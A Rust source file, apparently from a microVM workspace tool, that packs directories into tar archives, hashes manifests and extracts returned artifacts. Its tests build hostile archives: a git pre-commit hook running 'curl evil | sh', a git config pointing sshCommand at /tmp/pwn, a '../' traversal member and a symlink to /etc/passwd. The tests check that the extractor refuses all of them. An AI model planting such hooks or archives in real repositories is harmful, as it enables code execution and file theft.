1use std::path::Path;
20
21use microvms_app::workspace::{
22 Artifact, LocalTree, MANIFEST_VERSION, MAX_PACK_BYTES, MAX_PACK_MEMBERS, Manifest, Packed,
23 SKIPPED_DIRS, WorkspaceError, within_byte_budget, within_member_budget,
24};
25
26#[derive(Clone, Copy, Debug, Default)]
28pub struct DiskTree;
29
30impl LocalTree for DiskTree {
31 fn manifest(&self, dir: &Path) -> Result<Manifest, WorkspaceError> {
32 manifest(dir)
33 }
34
35 fn pack(&self, dir: &Path) -> Result<Packed, WorkspaceError> {
36 pack(dir)
37 }
38
39 fn pack_paths(&self, dir: &Path, paths: &[String]) -> Result<Packed, WorkspaceError> {
40 pack_paths(dir, paths)
41 }
42
43 fn extract(
44 &self,
45 archive: &[u8],
46 globs: &[String],
47 dir: &Path,
48 ) -> Result<Vec<Artifact>, WorkspaceError> {
49 extract(archive, globs, dir)
50 }
51}
52
53pub fn check_glob(glob: &str) -> Result<(), WorkspaceError> {
56 compile(glob).map(drop)
57}
58
59fn compile(glob: &str) -> Result<globset::Glob, WorkspaceError> {
61 globset::Glob::new(glob).map_err(|error| {
62 WorkspaceError::new(format!("artifacts glob {glob:?} does not compile: {error}"))
63 })
64}
65
66fn pack(dir: &Path) -> Result<Packed, WorkspaceError> {
69 let mut walk = Walk::default();
70 collect(dir, &mut walk)?;
71 walk.paths.sort();
72
73 let mut builder = tar::Builder::new(Vec::new());
74 builder.follow_symlinks(false);
75 let mut members = 0usize;
76 for path in &walk.paths {
77 let relative = path.strip_prefix(dir).expect("collected under dir");
78 builder
79 .append_path_with_name(path, relative)
80 .map_err(|error| WorkspaceError::new(format!("packing {}: {error}", path.display())))?;
81 members += 1;
82 }
83 let archive = builder
84 .into_inner()
85 .map_err(|error| WorkspaceError::new(format!("finishing the archive: {error}")))?;
86 Ok(Packed { archive, members })
87}
88
89#[derive(Default)]
91struct Walk {
92 paths: Vec<std::path::PathBuf>,
93 bytes: u64,
94}
95
96fn collect(dir: &Path, walk: &mut Walk) -> Result<(), WorkspaceError> {
103 let entries = std::fs::read_dir(dir)
104 .map_err(|error| WorkspaceError::new(format!("reading {}: {error}", dir.display())))?;
105 for entry in entries {
106 let entry = entry
107 .map_err(|error| WorkspaceError::new(format!("reading {}: {error}", dir.display())))?;
108 let path = entry.path();
109 if SKIPPED_DIRS
110 .iter()
111 .any(|skipped| entry.file_name() == *skipped)
112 {
113 continue;
114 }
115 let kind = path
118 .symlink_metadata()
119 .map_err(|error| WorkspaceError::new(format!("reading {}: {error}", path.display())))?;
120 let file_type = kind.file_type();
121 if !file_type.is_file() && !file_type.is_dir() && !file_type.is_symlink() {
122 continue;
123 }
124 if file_type.is_file() {
125 walk.bytes = walk.bytes.saturating_add(kind.len());
126 if !within_byte_budget(walk.bytes) {
127 return Err(WorkspaceError::new(format!(
128 "the tree exceeds the {} MiB upload budget at {}: the daemon refuses \
129 larger bodies. Move build output aside, or run against a smaller \
130 directory ({:?} are already skipped)",
131 MAX_PACK_BYTES / (1024 * 1024),
132 path.display(),
133 SKIPPED_DIRS,
134 )));
135 }
136 }
137 walk.paths.push(path.clone());
138 if !within_member_budget(walk.paths.len()) {
139 return Err(WorkspaceError::new(format!(
140 "the tree exceeds the {MAX_PACK_MEMBERS}-member upload budget at {}: the \
141 daemon refuses larger archives ({:?} are already skipped)",
142 path.display(),
143 SKIPPED_DIRS,
144 )));
145 }
146 if file_type.is_dir() {
147 collect(&path, walk)?;
148 }
149 }
150 Ok(())
151}
152
153fn relative_key(path: &Path, root: &Path) -> String {
155 path.strip_prefix(root)
156 .expect("collected under the root")
157 .components()
158 .map(|component| component.as_os_str().to_string_lossy())
159 .collect::<Vec<_>>()
160 .join("/")
161}
162
163fn manifest(dir: &Path) -> Result<Manifest, WorkspaceError> {
173 use sha2::{Digest as _, Sha256};
174
175 let mut walk = Walk::default();
176 collect(dir, &mut walk)?;
177
178 let mut built = Manifest {
179 version: MANIFEST_VERSION,
180 ..Manifest::default()
181 };
182 for path in &walk.paths {
183 let key = relative_key(path, dir);
184 let kind = path
185 .symlink_metadata()
186 .map_err(|error| WorkspaceError::new(format!("reading {}: {error}", path.display())))?;
187 let file_type = kind.file_type();
188 if file_type.is_symlink() {
189 let target = std::fs::read_link(path).map_err(|error| {
190 WorkspaceError::new(format!("reading link {}: {error}", path.display()))
191 })?;
192 built
193 .symlinks
194 .insert(key, target.to_string_lossy().into_owned());
195 } else if file_type.is_dir() {
196 built.dirs.insert(key);
197 } else {
198 use std::io::Read as _;
199 let mut file = std::fs::File::open(path).map_err(|error| {
200 WorkspaceError::new(format!("reading {}: {error}", path.display()))
201 })?;
202 let mut hasher = Sha256::new();
203 let mut buffer = [0u8; 64 * 1024];
204 loop {
205 let read = file.read(&mut buffer).map_err(|error| {
206 WorkspaceError::new(format!("hashing {}: {error}", path.display()))
207 })?;
208 if read == 0 {
209 break;
210 }
211 hasher.update(&buffer[..read]);
212 }
213 built
214 .files
215 .insert(key, const_hex::encode(hasher.finalize()));
216 }
217 }
218 Ok(built)
219}
220
221fn pack_paths(dir: &Path, paths: &[String]) -> Result<Packed, WorkspaceError> {
227 let mut sorted: Vec<&String> = paths.iter().collect();
228 sorted.sort();
229 let mut builder = tar::Builder::new(Vec::new());
230 builder.follow_symlinks(false);
231 let mut members = 0usize;
232 for relative in sorted {
233 let path = dir.join(relative);
234 builder
235 .append_path_with_name(&path, relative)
236 .map_err(|error| WorkspaceError::new(format!("packing {}: {error}", path.display())))?;
237 members += 1;
238 }
239 let archive = builder
240 .into_inner()
241 .map_err(|error| WorkspaceError::new(format!("finishing the archive: {error}")))?;
242 Ok(Packed { archive, members })
243}
244
245fn extract(archive: &[u8], globs: &[String], dir: &Path) -> Result<Vec<Artifact>, WorkspaceError> {
260 let mut set = globset::GlobSetBuilder::new();
261 for glob in globs {
262 set.add(compile(glob)?);
263 }
264 let set = set
265 .build()
266 .map_err(|error| WorkspaceError::new(error.to_string()))?;
267
268 let mut out = Vec::new();
269 let mut entries = tar::Archive::new(archive);
270 let entries = entries
271 .entries()
272 .map_err(|error| WorkspaceError::new(format!("reading the returned archive: {error}")))?;
273 for entry in entries {
274 let mut entry = entry.map_err(|error| {
275 WorkspaceError::new(format!("reading the returned archive: {error}"))
276 })?;
277 if entry.header().entry_type() != tar::EntryType::Regular {
278 continue;
279 }
280 let path = entry
281 .path()
282 .map_err(|error| WorkspaceError::new(format!("a member's path: {error}")))?
283 .into_owned();
284 if path
287 .components()
288 .any(|component| component.as_os_str() == ".git")
289 {
290 continue;
291 }
292 if !set.is_match(&path) {
293 continue;
294 }
295 let bytes = entry.size();
296 let written = entry
297 .unpack_in(dir)
298 .map_err(|error| WorkspaceError::new(format!("writing {}: {error}", path.display())))?;
299 if written {
302 out.push(Artifact {
303 path: path.display().to_string(),
304 bytes,
305 });
306 }
307 }
308 Ok(out)
309}
310
311#[cfg(test)]
312mod tests {
313 use super::*;
314 use microvms_app::workspace::diff;
315
316 struct TempTree(std::path::PathBuf, #[allow(dead_code)] tempfile::TempDir);
318
319 impl TempTree {
320 fn new(label: &str) -> Self {
321 let dir = tempfile::Builder::new()
322 .prefix(&format!("microvm-workspace-{label}-"))
323 .tempdir()
324 .expect("a temp dir");
325 Self(dir.path().to_path_buf(), dir)
326 }
327 }
328
329 fn member_names(archive: &[u8]) -> Vec<String> {
330 tar::Archive::new(archive)
331 .entries()
332 .expect("parses")
333 .map(|entry| {
334 entry
335 .expect("a member")
336 .path()
337 .expect("a path")
338 .display()
339 .to_string()
340 })
341 .collect()
342 }
343
344 #[test]
346 fn packing_skips_the_skip_list_whole() {
347 let tree = TempTree::new("skip-list");
348 for skipped in SKIPPED_DIRS {
349 std::fs::create_dir_all(tree.0.join(skipped)).expect("dir");
350 std::fs::write(tree.0.join(skipped).join("payload"), b"stays home").expect("file");
351 }
352 std::fs::write(tree.0.join("kept.rs"), b"fn main() {}").expect("source");
353
354 let packed = pack(&tree.0).expect("packs");
355 let names = member_names(&packed.archive);
356 assert_eq!(names, ["kept.rs"], "{names:?}");
357 }
358
359 #[cfg(unix)]
361 #[test]
362 fn packing_skips_a_live_socket_instead_of_refusing_the_tree() {
363 let tree = TempTree::new("socket");
364 std::fs::write(tree.0.join("app.rb"), b"puts :hi").expect("source");
365 let _listener = std::os::unix::net::UnixListener::bind(tree.0.join("puma.sock"))
366 .expect("a live socket");
367
368 let packed = pack(&tree.0).expect("a socket must not refuse the project");
369 assert_eq!(member_names(&packed.archive), ["app.rb"]);
370 }
371
372 #[test]
375 fn packing_refuses_an_over_budget_tree_by_name() {
376 let tree = TempTree::new("member-budget");
377 let big = tree.0.join("huge.bin");
381 let file = std::fs::File::create(&big).expect("creates");
382 file.set_len(MAX_PACK_BYTES + 1).expect("sparse grow");
383 drop(file);
384
385 let error = pack(&tree.0).expect_err("over budget");
386 assert!(error.to_string().contains("huge.bin"), "{error}");
387 assert!(error.to_string().contains("MiB"), "{error}");
388 }
389
390 #[test]
400 fn extraction_never_writes_under_the_local_git() {
401 let tree = TempTree::new("git-refusal");
402 let archive = archive_of(&[
403 (".git/hooks/pre-commit", b"#!/bin/sh\ncurl evil | sh\n"),
404 (".git/config", b"[core]\n\tsshCommand = /tmp/pwn\n"),
405 ("dist/report.txt", b"fine"),
406 ]);
407 let got = extract(&archive, &["**".into()], &tree.0).expect("extracts");
408 assert_eq!(got.len(), 1, "only the non-git member lands");
409 assert_eq!(got[0].path, "dist/report.txt");
410 assert!(!tree.0.join(".git").exists(), "no .git write, ever");
411 }
412
413 #[test]
415 fn packing_skips_git_and_keeps_the_working_tree() {
416 let tree = TempTree::new("skip-git");
417 std::fs::create_dir_all(tree.0.join(".git/objects")).expect("git dir");
418 std::fs::write(tree.0.join(".git/objects/blob"), b"loose object").expect("blob");
419 std::fs::create_dir_all(tree.0.join("src")).expect("src");
420 std::fs::write(tree.0.join("src/main.rs"), b"fn main() {}").expect("source");
421
422 let packed = pack(&tree.0).expect("packs");
423 let names = member_names(&packed.archive);
424 assert!(names.iter().any(|name| name == "src/main.rs"), "{names:?}");
425 assert!(!names.iter().any(|name| name.contains(".git")), "{names:?}");
426 }
427
428 #[cfg(unix)]
430 #[test]
431 fn packing_preserves_a_symlink_without_following_it() {
432 let tree = TempTree::new("symlink");
433 std::fs::write(tree.0.join("real.txt"), b"data").expect("file");
434 std::os::unix::fs::symlink("real.txt", tree.0.join("link.txt")).expect("link");
435
436 let packed = pack(&tree.0).expect("packs");
437 let mut archive = tar::Archive::new(packed.archive.as_slice());
438 let mut kinds = std::collections::BTreeMap::new();
439 for entry in archive.entries().expect("parses") {
440 let entry = entry.expect("a member");
441 kinds.insert(
442 entry.path().expect("a path").display().to_string(),
443 entry.header().entry_type(),
444 );
445 }
446 assert_eq!(kinds["link.txt"], tar::EntryType::Symlink, "{kinds:?}");
447 }
448
449 #[test]
451 fn packing_is_deterministic() {
452 let tree = TempTree::new("deterministic");
453 for name in ["b.txt", "a.txt", "c.txt"] {
454 std::fs::write(tree.0.join(name), name.as_bytes()).expect("writes");
455 }
456 let first = pack(&tree.0).expect("packs");
457 let second = pack(&tree.0).expect("packs");
458 assert_eq!(first.archive, second.archive);
459 assert_eq!(
460 member_names(&first.archive),
461 ["a.txt", "b.txt", "c.txt"],
462 "sorted, not readdir order"
463 );
464 }
465
466 fn archive_of(members: &[(&str, &[u8])]) -> Vec<u8> {
467 let mut builder = tar::Builder::new(Vec::new());
468 for (name, body) in members {
469 let mut header = tar::Header::new_gnu();
470 header.set_size(body.len() as u64);
471 header.set_mode(0o644);
472 header.set_cksum();
473 builder
474 .append_data(&mut header, name, *body)
475 .expect("appends");
476 }
477 builder.into_inner().expect("finishes")
478 }
479
480 #[test]
482 fn extraction_writes_matched_members_and_skips_the_rest() {
483 let tree = TempTree::new("select");
484 let archive = archive_of(&[
485 ("dist/report.txt", b"selected"),
486 ("secrets.env", b"never asked for"),
487 ]);
488 let got = extract(&archive, &["dist/**".into()], &tree.0).expect("extracts");
489 assert_eq!(got.len(), 1);
490 assert_eq!(got[0].path, "dist/report.txt");
491 assert!(tree.0.join("dist/report.txt").exists());
492 assert!(!tree.0.join("secrets.env").exists());
493 }
494
495 #[test]
501 fn extraction_refuses_traversal_out_of_the_destination() {
502 let tree = TempTree::new("traversal");
503 let inner = tree.0.join("inner");
504 std::fs::create_dir_all(&inner).expect("inner");
505
506 let body = b"out";
507 let mut header = tar::Header::new_gnu();
508 {
509 let name = b"../escape.txt";
510 let gnu = header.as_gnu_mut().expect("a gnu header");
511 gnu.name[..name.len()].copy_from_slice(name);
512 }
513 header.set_size(body.len() as u64);
514 header.set_mode(0o644);
515 header.set_cksum();
516 let mut archive = Vec::new();
517 archive.extend_from_slice(header.as_bytes());
518 archive.extend_from_slice(body);
519 archive.resize(archive.len().div_ceil(512) * 512, 0);
520 archive.extend_from_slice(&[0u8; 1024]);
521
522 let got = extract(&archive, &["**".into()], &inner).expect("extracts nothing");
523 assert!(got.is_empty(), "{:?}", got.len());
524 assert!(!tree.0.join("escape.txt").exists());
525 }
526
527 #[test]
530 fn a_manifest_is_deterministic_and_covers_every_member_kind() {
531 let tree = TempTree::new("manifest");
532 std::fs::create_dir_all(tree.0.join("src")).expect("dir");
533 std::fs::create_dir_all(tree.0.join("empty")).expect("empty dir");
534 std::fs::write(tree.0.join("src/main.rs"), b"fn main() {}").expect("file");
535 #[cfg(unix)]
536 std::os::unix::fs::symlink("src/main.rs", tree.0.join("link.rs")).expect("link");
537
538 let first = manifest(&tree.0).expect("manifests");
539 let second = manifest(&tree.0).expect("manifests");
540 assert_eq!(first, second, "same tree, same manifest");
541 assert_eq!(first.version, MANIFEST_VERSION);
542 assert_eq!(
544 first.files["src/main.rs"],
545 "ef32637cb9c3ec2e3968c9cbdf26a5e9c172be94f88af533e14bd43f892d5297"
546 );
547 assert!(first.dirs.contains("empty"), "{:?}", first.dirs);
548 #[cfg(unix)]
549 assert_eq!(first.symlinks["link.rs"], "src/main.rs");
550 }
551
552 #[test]
555 fn a_manifest_skips_what_packing_skips() {
556 let tree = TempTree::new("manifest-skip");
557 std::fs::create_dir_all(tree.0.join(".git")).expect("git");
558 std::fs::write(tree.0.join(".git/HEAD"), b"ref: main").expect("head");
559 std::fs::write(tree.0.join("kept.rs"), b"fn main() {}").expect("source");
560
561 let built = manifest(&tree.0).expect("manifests");
562 assert_eq!(built.files.len(), 1, "{:?}", built.files);
563 assert!(built.files.contains_key("kept.rs"));
564 assert!(built.dirs.is_empty(), "{:?}", built.dirs);
565 }
566
567 #[test]
570 fn an_unchanged_tree_diffs_to_nothing() {
571 let tree = TempTree::new("diff-unchanged");
572 std::fs::write(tree.0.join("a.txt"), b"a").expect("file");
573 let local = manifest(&tree.0).expect("manifests");
574 let remote = manifest(&tree.0).expect("manifests");
575 let delta = diff(&local, &remote);
576 assert!(delta.is_empty(), "{delta:?}");
577 }
578
579 #[test]
582 fn the_disk_tree_is_the_walk_the_pack_and_the_extraction() {
583 let tree = TempTree::new("disk-tree");
584 std::fs::create_dir_all(tree.0.join("src")).expect("dir");
585 std::fs::write(tree.0.join("src/main.rs"), b"fn main() {}").expect("file");
586 let port: &dyn LocalTree = &DiskTree;
587
588 assert_eq!(
589 port.manifest(&tree.0).expect("manifests"),
590 manifest(&tree.0).expect("manifests")
591 );
592 assert_eq!(
593 member_names(&port.pack(&tree.0).expect("packs").archive),
594 ["src", "src/main.rs"]
595 );
596 assert_eq!(
597 member_names(
598 &port
599 .pack_paths(&tree.0, &["src/main.rs".into()])
600 .expect("packs")
601 .archive
602 ),
603 ["src/main.rs"]
604 );
605 let out = TempTree::new("disk-tree-out");
606 let archive = archive_of(&[("dist/app.txt", b"real")]);
607 let written = port
608 .extract(&archive, &["**".into()], &out.0)
609 .expect("extracts");
610 assert_eq!(
611 written,
612 [Artifact {
613 path: "dist/app.txt".into(),
614 bytes: 4
615 }]
616 );
617 }
618
619 #[test]
621 fn a_glob_is_checked_with_the_extractions_grammar() {
622 assert_eq!(check_glob("dist/**"), Ok(()));
623 let refused = check_glob("dist/[").expect_err("an unclosed class");
624 assert!(
625 refused.to_string().contains("\"dist/[\" does not compile"),
626 "{refused}"
627 );
628 }
629
630 #[test]
633 fn packing_selected_paths_carries_them_and_nothing_else() {
634 let tree = TempTree::new("pack-paths");
635 std::fs::create_dir_all(tree.0.join("src")).expect("dir");
636 std::fs::write(tree.0.join("src/changed.rs"), b"edited").expect("file");
637 std::fs::write(tree.0.join("src/unchanged.rs"), b"same").expect("file");
638
639 let packed =
640 pack_paths(&tree.0, &["src/changed.rs".to_string()]).expect("packs the selection");
641 assert_eq!(packed.members, 1);
642 assert_eq!(member_names(&packed.archive), ["src/changed.rs"]);
643 }
644
645 #[test]
647 fn extraction_skips_non_regular_members() {
648 let tree = TempTree::new("nonregular");
649 let mut builder = tar::Builder::new(Vec::new());
650 let mut header = tar::Header::new_gnu();
651 header.set_entry_type(tar::EntryType::Symlink);
652 header.set_size(0);
653 header.set_cksum();
654 builder
655 .append_link(&mut header, "dist/link", "/etc/passwd")
656 .expect("appends");
657 let archive = builder.into_inner().expect("finishes");
658
659 let got = extract(&archive, &["dist/**".into()], &tree.0).expect("extracts");
660 assert!(got.is_empty());
661 assert!(!tree.0.join("dist/link").exists());
662 }
663}